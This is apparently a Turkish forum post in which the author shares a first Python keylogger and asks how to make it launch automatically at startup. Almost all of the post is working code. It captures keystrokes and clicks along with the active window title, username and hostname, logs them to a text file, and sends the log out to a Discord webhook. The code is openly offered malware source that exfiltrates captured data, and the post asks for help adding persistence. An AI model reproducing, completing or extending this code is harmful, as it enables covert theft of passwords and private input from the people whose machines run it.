Merhaba python ile yaptığım ilk keylogger yazılımı bu yazılım keylogger loglarını hem txt dosyası olarak düşüyor hemde isteğinize göre discord sunucusunda webhook ile txt dosyasını sunucunuzdaki belirlediğiniz kanala yansıtıyor. İlk olduğu için yanlış şeyler olabilir eleştiriler yapıp veya tavsiyeler verebilirsiniz. Bunu bir programa çevirip bilgisayarı her açtığında kendiliğinden başlatılabilir şekile getirmek istiyorum fakat nasıl yapacağımı bilmiyorum bilen arkadaşlar yardımıcı olursa çok iyi olur
Python:
import threading
from pynput import keyboard, mouse
import requests
import datetime
import getpass
import socket
import win32gui
WEBHOOK_URL = "WEBHOOK_URL"
LOG_FILE_PATH = "keylogger_log.txt"
buffer = ""
def get_system_info():
user = getpass.getuser()
hostname = socket.gethostname()
now = datetime.datetime.now().strftime("%d.%m.%Y %H:%M:%S")
return user, hostname, now
def get_active_window_title():
hwnd = win32gui.GetForegroundWindow()
title = win32gui.GetWindowText(hwnd)
return title
def send_file_to_discord_embed():
try:
with open(LOG_FILE_PATH, "r", encoding="utf-8") as f:
content = f.read()
content = content[-4000:]
user, host, now = get_system_info()
active_window = get_active_window_title()
prefix = active_window.replace(" ", "_").lower() if active_window else "unknownwindow"
embed = {
"embeds": [{
"title": "Keylogger Log Dosyası (Son Kayıtlar)",
"color": 0x2ecc71, # Yeşil renk
"fields": [
{
"name": "**⌨️ Bilgiler:**",
"value": f"```plaintext\n `{content}`\n```",
"inline": False
},
{
"name": "Diğer Bilgiler",
"value": (
f"💻 Bilgisayar: {host}\n"
f"📂 Pencere: {prefix}\n"
f"🕒 Zaman: {now}\n"
f"🖥️ Kullanıcı: {user}"
),
"inline": False
}
],
"footer": {
"text": "Sirius Tarafından Geliştirildi"
}
}]
}
response = requests.post(WEBHOOK_URL, json=embed)
if response.status_code != 204:
print(f"Discord webhook embed gönderim hatası: {response.status_code} - {response.text}")
except Exception as e:
print(f"Dosya embed ile gönderilemedi: {e}")
def write_to_logfile(log_message):
try:
with open(LOG_FILE_PATH, "a", encoding="utf-8") as f:
f.write(log_message + "\n")
except Exception as e:
print(f"Dosyaya yazma hatası: {e}")
def flush_buffer():
global buffer
if buffer:
active_window = get_active_window_title().lower()
prefix = active_window.replace(" ", "_") if active_window else "UnknownWindow"
user, host, now = get_system_info()
log_message = f"""
Bilgisayar: `{host}`
📂 Pencere: `{prefix}`
Zaman: `{now}`
⌨️ Yazı: `{buffer}`
Kullanıcı: `{user}`
""".strip()
write_to_logfile(log_message)
buffer = ""
threading.Thread(target=send_file_to_discord_embed).start()
def on_press(key):
global buffer
try:
k = key.char
if k is not None:
buffer += k
except AttributeError:
if key in [keyboard.Key.space, keyboard.Key.enter, keyboard.Key.tab]:
flush_buffer()
elif key == keyboard.Key.backspace:
buffer = buffer[:-1]
elif key == keyboard.Key.esc:
flush_buffer()
return False
def on_click(x, y, button, pressed):
if pressed and button == mouse.Button.left:
flush_buffer()
keyboard_listener = keyboard.Listener(on_press=on_press)
mouse_listener = mouse.Listener(on_click=on_click)
keyboard_listener.start()
mouse_listener.start()
keyboard_listener.join()
mouse_listener.join()


